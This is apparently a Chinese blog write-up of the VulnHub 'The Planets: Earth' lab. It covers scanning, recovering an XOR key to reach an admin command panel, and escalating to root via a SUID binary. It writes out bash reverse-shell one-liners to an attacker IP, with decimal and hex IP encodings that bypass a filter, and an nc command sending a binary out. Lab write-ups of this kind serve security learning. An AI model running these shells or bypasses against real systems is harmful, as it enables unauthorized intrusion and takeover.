The Planets:Earth

靶机介绍及下载The Planets: Earth ~ VulnHub

1. 信息收集

1.1. 主机发现【靶机 IP

┌──(root㉿kali)-[~]
└─# netdiscover -i eth0 -r 192.168.159.0/24

The Planets Earth netdiscover.jpg

  • 靶机 IP192.168.159.141

1.2. 端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.159.141 -p1-65535

The Planets Earth nmap port.jpg

  • 简要分析,由上可知开放了22,80,443端口,22 端口的 ssh 可尝试弱口令爆破【非优选,后面用 hydra 试了下没成功,初步推断不存在弱口令,hydra 使用可参见:密码破解 - z9m8r8 - 博客园】,80和443端口可浏览器访问,目录遍历和用 nmap 等扫描进一步获取可用信息。

1.3. Web 服务信息收集

  • 浏览器访问靶机

The Planets Earth https.jpg

  • 没注意到有可用的信息,利用 dirsearch 尝试目录遍历,依旧没发现有价值信息,继续用 nmap 进一步获取信息。

The Planets Earth nmap dns.jpg

  • 看到两个 DNS 解析,修改 hosts【让 terratest.earth.localearth.local 指向靶机 IP )】 ,浏览器访问+目录遍历

The Planets Earth https earth-local .jpg

The Planets Earth https terratest-earth-local .jpg

  • 目录遍历结果
┌──(root㉿kali)-[~]
└─# dirsearch -u "https://terratest.earth.local/"

The Planets Earth dirsearch  terratest-earth-local .jpg

┌──(root㉿kali)-[~]
└─# dirsearch -u "https://earth.local/"    

The Planets Earth dirsearch  earth-local .jpg

The Planets Earth https earth-local-admin-login.jpg

The Planets Earth https terratest-earth-local-robots-txt.jpg

The Planets Earth https terratest-earth-local-testingnotes-txt.jpg

The Planets Earth https terratest-earth-local-testingnotes-txt-en-zh.jpg

The Planets Earth https terratest-earth-local-testdata-txt.jpg

  • 简要分析,由此可知前面发送消息使用 XOR 作为加密算法,而当前可获得之前已发送消息的密文,密文和testdata.txt XOR 便可知密钥 key,admin/login 登录的账号为 terra,猜测 key 可能是 terra 登录的密码。
  • 密钥 key 的获取,将 testdata.txt 转为 16 进制,在于之前的密文做异或。

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.


4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c696665726174696f6e206f6620616e6165726f62696320616e642c206c617465722c206165726f626963206f7267616e69736d732e20536f6d652067656f6c6f676963616c2065766964656e636520696e646963617465732074686174206c696665206d617920686176652061726973656e206173206561726c7920617320342e312062696c6c696f6e2079656172732061676f2e

  • 已知的密文有三条,通过逐条测试得发现 testdata.txt 与 2402111b1a0…… 相对应,并解出 key 为 earthclimatechangebad4humans ,具体操作如下:
  • 异或 加密/解密 - 在线工具

The Planets Earth https earth-local key.jpg

The Planets Earth https earth-local key-hex-string.jpg

  • 如果不放心可以用这个 key 重新发下 testdata.txt 作以验证。

2. 渗透攻击

2.1. 管理门户登录

  • 用前面得到 terra/earthclimatechangebad4humans 在 admin/login 页面登录测试。

The Planets Earth https earth-local-admin-login-terra.jpg

  • 成功进入,发现可以远程执行命令,查找 flag

The Planets Earth https earth-local-user-flag.jpg

  • 只找到个 user_flag.txt,用 cat /var/earth_web/user_flag.txt 获取 flag,成功拿到一个user_flag_3353b67d6437f07ba7d34afd7d2fc27d

2.2. 反弹 shell

  • 尝试写个反弹 shell
bash -i >& /dev/tcp/192.168.159.152/4444 0>&1

The Planets Earth https earth-local-admin-login-ip-shell.jpg

  • 禁止远程连接!看其他人的说法是对点分十进制的 IP 有限制,所以考虑绕过,对 IP 进行16进制或10进制转换【经测试两种都可绕过】,后面以转成10进制【IPv4 Address to IP Decimal Conversion | IPAddressGuide】为例演示。
  • 攻击机开启开启监听
┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
bash -i >& /dev/tcp/3232276376/4444 0>&1    #10进制
bash -i >& /dev/tcp/0xc0.0xa8.0x9f.0x98/4444 0>&1   #16进制
  • 成功反弹!

The Planets Earth https earth-local-admin-login-ip-de-shell.jpg

bash-5.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-5.1$ cd /root
cd /root
bash: cd: /root: Permission denied
  • 权限不够,考虑提权。

2.3. 提权

  • 查询可提权命令
find / -perm -u=s -type f 2>/dev/null
  • 执行结果
bash-5.1$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
  • 有个reset_root,尝试执行
bash-5.1$ reset_root
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
  • 传回 kali 调试排查原因
bash-5.1$ nc 192.168.159.152 4445 < /usr/bin/reset_root
nc 192.168.159.152 4445 < /usr/bin/reset_root

The Planets Earth https earth-local-admin-login-shell-reset_root.jpg

  • 用strace调试
┌──(root㉿kali)-[~]
└─# strace  ./reset_root

The Planets Earth https earth-local-admin-login-strace-reset_root.jpg

  • 提示没这三个文件,靶机中通过 touch 建立后再尝试

The Planets Earth https earth-local-admin-login-reset_root-touch-file-su-root.jpg

  • root 密码重置及提权成功!查找 flag ,并读取。

The Planets Earth flag.jpg

  • 成功拿到 root_flag_b0da9554d29db2117b02aa8b66ec492e !
posted @   z9m8r8  阅读(13)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示